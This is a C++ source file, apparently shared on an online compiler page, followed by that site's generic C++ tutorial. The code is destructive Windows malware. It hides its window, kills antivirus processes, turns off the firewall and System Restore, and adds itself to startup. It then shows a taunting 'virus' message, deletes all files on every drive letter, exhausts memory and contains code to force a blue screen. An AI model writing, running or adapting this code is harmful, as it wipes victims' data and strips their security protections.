#include <iostream>
#include <windows.h>
#include <tchar.h>

// Fonction pour cacher le processus malveillant dans le gestionnaire des tâches
void hideProcess() {
    HWND hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
    ShowWindow(hWnd, SW_HIDE);
}

// Fonction pour désactiver l'antivirus en utilisant des API Windows
void disableAntivirus() {
    system("taskkill /f /im avast.exe");
    system("taskkill /f /im avg.exe");
    system("taskkill /f /im avira.exe");
    system("taskkill /f /im mse.exe");
    system("taskkill /f /im afwServ.exe");
}

// Fonction pour modifier le registre et désactiver le pare-feu Windows
void disableFirewall() {
    system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile /v EnableFirewall /t REG_DWORD /d 0 /f");
}

// Fonction pour désactiver la restauration du système
void disableSystemRestore() {
    system("REG ADD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SysRestore /v Start /t REG_DWORD /d 4 /f");
}

// Fonction pour ajouter le programme au démarrage de l'ordinateur en détectant automatiquement son emplacement
void addToStartup() {
    wchar_t path[MAX_PATH];
    GetModuleFileName(NULL, path, MAX_PATH);
    std::wstring command = L"REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v MaliciousProgram /t REG_SZ /d \"" + std::wstring(path) + L"\" /f";
    _wsystem(command.c_str());
}

// Fonction pour afficher une boîte de dialogue avec un message personnalisé
void showMessageBox() {
    MessageBox(NULL, L"Merci d'avoir lancé le virus, attendez quelques secondes et vous allez voir la surprise ;).\nCe logiciel a été créé par HiraganaDev.1337\n\nTous les disques sont en train de se formater. Pour plus d'informations, veuillez contacter HiraganaDev.1337 sur Discord ou Telegram.", L"Virus Message", MB_OK | MB_ICONINFORMATION);
}

void moveMouseAndDeformScreen() {
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    while (true) {
        // Move the mouse randomly across the screen
        int x = rand() % screenWidth;
        int y = rand() % screenHeight;
        SetCursorPos(x, y);

        // Deform the screen by changing its resolution randomly
        int newWidth = screenWidth + rand() % 200 - 100;
        int newHeight = screenHeight + rand() % 200 - 100;
        ChangeDisplaySettings(NULL, 0);

        DEVMODE devMode;
        memset(&devMode, 0, sizeof(DEVMODE)); // Initialiser devMode à zéro
        EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devMode);
        devMode.dmPelsWidth = newWidth;
        devMode.dmPelsHeight = newHeight;
        ChangeDisplaySettings(&devMode, 0);

        // Sleep for a short duration before repeating
        Sleep(1000);
    }
}

int main() {
    showMessageBox(); // Afficher le message au démarrage
    hideProcess(); // Cacher le processus malveillant dans le gestionnaire des tâches
    disableAntivirus(); // Désactiver l'antivirus pour éviter la détection
    disableFirewall(); // Désactiver le pare-feu Windows pour faciliter l'accès à d'autres systèmes
    disableSystemRestore(); // Désactiver la restauration du système pour empêcher la récupération des fichiers supprimés
    addToStartup(); // Ajouter le programme au démarrage de l'ordinateur

    // Destructeur de fichiers, supprime tous les fichiers sur les disques locaux
    for (char drive = 'A'; drive <= 'Z'; ++drive) {
        std::string drivePath = std::string(1, drive) + ":\\";
        std::string deleteCommand = "del " + drivePath + "*.* /s /f /q";
        system(deleteCommand.c_str());
    }

    // Boucle infinie qui consomme les ressources CPU et RAM
    while (true) {
        for (int i = 0; i < 1000000; ++i) {
            int* ptr = new int[1000000];
            memset(ptr, 0, 1000000 * sizeof(int)); // Remplit la mémoire allouée avec zéros
        }
    }

    // Crée un BSOD en utilisant une fonction système non documentée (à des fins éducatives uniquement)
    typedef NTSTATUS(WINAPI* RtlAdjustPrivilegePtr)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
    typedef NTSTATUS(WINAPI* NtRaiseHardErrorPtr)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, ULONG ValidResponseOption, PULONG Response);

    BOOLEAN bEnablePrivilege = TRUE;
    BOOLEAN bResult;
    ULONG Response;

    RtlAdjustPrivilegePtr RtlAdjustPrivilege = (RtlAdjustPrivilegePtr)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    NtRaiseHardErrorPtr NtRaiseHardError = (NtRaiseHardErrorPtr)GetProcAddress(GetModuleHandle(L"ntdll"), "NtRaiseHardError");

    RtlAdjustPrivilege(19, bEnablePrivilege, FALSE, &bResult);
    NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response);

    return 0;
}
 

C++ Online Compiler

Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++ and start coding!

Read inputs from stdin

OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.

#include <iostream>
#include <string>
using namespace std;

int main() 
{
    string name;
    cout << "Enter name:";
    getline (cin, name);
    cout << "Hello " << name;
    return 0;
}

About C++

C++ is a widely used middle-level programming language.

  • Supports different platforms like Windows, various Linux flavours, MacOS etc
  • C++ supports OOPS concepts like Inheritance, Polymorphism, Encapsulation and Abstraction.
  • Case-sensitive
  • C++ is a compiler based language
  • C++ supports structured programming language
  • C++ provides alot of inbuilt functions and also supports dynamic memory allocation.
  • Like C, C++ also allows you to play with memory using Pointers.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
   //code
}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
......    
    
default:     
 code to be executed when all the above cases are not matched;    
} 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  //code  
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}